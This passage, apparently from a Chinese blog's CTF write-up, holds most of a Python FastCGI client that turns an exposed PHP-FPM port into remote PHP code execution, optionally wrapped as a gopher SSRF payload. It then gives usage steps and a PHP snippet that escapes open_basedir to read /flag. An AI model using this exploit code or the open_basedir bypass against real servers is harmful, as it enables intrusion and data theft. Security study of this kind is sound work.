            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        return request
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')
    parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
    parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
    parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(args.code),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext and args.include_file:
        #params['PHP_ADMIN_VALUE']='extension = '+args.ext
        params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
        params['PHP_VALUE']='auto_prepend_file = '+args.include_file
    if not args.url_format and not args.base64_format :
        response = client.request(params, args.code)
        print(force_text(response))
    else:
        response = client.gopher(params, args.code)
        if args.url_format:
            print(urllib.parse.quote(response))
        if args.base64_format:
            print(base64.b64encode(response))

指定FPM的内网IP、php文件的路径、端口默认9000、运行的php代码、并且要求urlencode

python gopher.py ip /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u

phar生成脚本修改url为gopher://10.0.248.6:9000/_加上生成的payload
将这个gopher协议生成phar包,之后就读取到了phpinfo()
发现open_basedir限定了范围,接着就是绕过读取根目录结构,将phpinfo()改一下就行,用filesystemiterator,最后发现flag在/flag,用ini_set和mkdir组合读取

改gopher的参数c为以下代码

<?php mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));?>

https://blog.csdn.net/Xxy605/article/details/120161001 这篇博客还记录了 自动获取flag的脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值